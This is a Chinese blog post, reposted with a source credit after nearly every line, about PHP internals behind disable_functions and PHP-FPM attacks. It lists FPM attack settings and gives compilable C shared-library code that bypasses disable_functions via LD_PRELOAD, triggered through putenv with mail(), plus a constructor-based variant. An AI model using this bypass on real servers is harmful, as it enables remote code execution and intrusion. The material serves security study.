文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
这篇文章灵感是来自看了一篇文章《PHP内核分析-FPM和disable-function安全问题》然后其中学习到了很多东西。该篇文章已经非常详细了，所以自己就简单的记录一下自己的思考，如文中有错误希望师傅们指出。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
介绍
php中的disable_function是EG(ini_directives)来获得的，而phpinfo根据 EG(ini_directives) 中获取信息并打印。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
然后通过zend_disable_function()函数去禁止，简单的说就是通过 func->handler = ZEND_FN(display_disabled_function); 修改了handler。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
而phpinfo⼀直是查看服务器php信息的可靠⽅式，但是在包含修改 disable_function的参数攻击FPM后，phpinfo已经显示修改，但是测试函数仍然禁⽤。在fpm攻击的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ，然后修改值为我们传⼊的内容，⽽phpinfo展示的值就源于这⾥。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
还会将要禁⽤的函数字符串传⼊fpm_php_disable 函数，再调⽤ zend_disable_function 函数修改 func->handler完成禁⽤。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
所以说，包含 PHP_VALUE == disable_function= 的恶意FastCgi攻击FPM时，只能修改展示phpinfo信息文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
的 EG(ini_directives) ，也就是表⾯修改，对于已经禁⽤的函数⽆效的，但是可以通过FPM禁⽤新的函数。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
总结
- disable_function 的本质是修改 func->handler 完成对函数的禁⽤。
- 包含 PHP_VALUE ==disable_function= 的恶意FastCgi攻击FPM时，只能修改展示phpinfo信息的 EG(ini_directives) ，也就是表⾯修改，对于已经禁⽤的函数⽆效的，但是可以通过FPM禁⽤新的函数。
- 攻击FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。
文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
思考
那么我看网上有一下介绍是通过fpm来绕过disable_function。那么是怎么实现？？底层到底是什么？文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
这里给出自己的答案，之所以说fpm能绕过df是因为通过配置 PHP_VALUE ==extension_dir +extension，然后我们上传我们的so来加载执行。那为什么说加载so就可以绕过？？？文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
是因为df是在模块初始化阶段的最后一步 加载so是在这个之前 可能是因为这个导致的rce（图片是来自上述文章）文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
下面是清楚点的。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
所以能够绕过，然后想到了一叶飘零师傅的文章。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
LD_PRELOAD与putenv的配合使用，即LD_PRELOAD这个环境变量指定路径的文件(也是so文件)，会在其他文件被调用前，最先被调用而putenv可以设置环境变量。（图片是一叶飘零师傅文章）文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
而一叶飘零师傅文章中介绍了某一个php函数，我认为是在执行的过程中能fork子进程的函数（启动外部程序的函数并能执行）然后我们hook该fork子进程，进行重写，完成rce。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
例如：mail(‘’,’’,’’,’’);文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
//编译成so文件
//gcc -c -fPIC hack.c -o hack.so
还有imap_mail()、mb_send_mail()和error_log()函数等文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
然后还有一个进化版本文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
其中__attribute__ ((__constructor__))有如下说明文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html
1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
1.它在加载共享库时运行，通常在程序启动时运行。//putenv("LD_PRELOAD=hack.so");
2.所有GCC属性都是这样的；可能是为了将它们与函数调用区分开来。
3.析构函数在卸载共享库时运行，通常在程序退出时运行。
所以我们就不需要找一个函数去触发了。文章源自菜鸟学院-https://www.cainiaoxueyuan.com/bc/21809.html